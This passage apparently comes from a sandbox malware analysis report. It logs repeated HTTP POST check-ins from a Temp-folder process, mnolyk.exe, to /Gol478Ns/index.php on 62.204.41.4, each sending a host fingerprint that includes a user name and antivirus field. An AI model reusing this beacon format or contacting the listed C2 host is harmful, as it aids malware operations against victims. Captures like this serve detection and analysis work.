Feb 7, 2023 23:09:05.510445118 CET	577	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
463	192.168.2.7	50158	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:09:05.696445942 CET	578	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:09:05.761662006 CET	578	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
464	192.168.2.7	50159	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:09:05.933299065 CET	579	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:09:05.999583960 CET	579	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
465	192.168.2.7	50160	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:09:06.194715977 CET	580	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:09:06.257397890 CET	580	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
466	192.168.2.7	50161	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:09:06.445123911 CET	581	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:09:06.509118080 CET	581	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
467	192.168.2.7	50162	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:09:06.685785055 CET	582	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:09:06.750828028 CET	582	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
468	192.168.2.7	50163	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:09:06.937702894 CET	583	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:09:07.000040054 CET	583	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
469	192.168.2.7	50164	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:09:07.186121941 CET	584	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:09:07.250969887 CET	584	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
47	192.168.2.7	49741	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:07:12.972312927 CET	151	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:07:13.038661957 CET	151	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:07:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
470	192.168.2.7	50165	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:09:07.791157007 CET	585	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:09:07.854868889 CET	585	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
471	192.168.2.7	50166	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:09:08.121536016 CET	586	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:09:08.184685946 CET	586	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
472	192.168.2.7	50167	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:09:08.918958902 CET	587	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:09:08.983628035 CET	587	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
473	192.168.2.7	50168	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:09:09.197665930 CET	588	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:09:09.261853933 CET	588	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
474	192.168.2.7	50169	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:09:10.009649038 CET	589	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:09:10.078298092 CET	589	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
475	192.168.2.7	50170	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:09:10.682104111 CET	590	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:09:10.745945930 CET	590	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
476	192.168.2.7	50171	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:09:10.958889961 CET	591	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:09:11.023277998 CET	591	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
477	192.168.2.7	50172	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:09:11.243218899 CET	592	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:09:11.306339979 CET	592	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
478	192.168.2.7	50173	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:09:11.479350090 CET	593	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:09:11.544918060 CET	593	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
479	192.168.2.7	50174	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:09:11.713079929 CET	594	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:09:11.777556896 CET	594	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
48	192.168.2.7	49742	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:07:13.217593908 CET	152	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:07:13.279896975 CET	152	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:07:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
480	192.168.2.7	50175	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:09:11.950103045 CET	595	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:09:12.012918949 CET	595	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
481	192.168.2.7	50176	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:09:12.185199976 CET	596	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:09:12.250057936 CET	596	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:09:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
482	192.168.2.7	50177	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
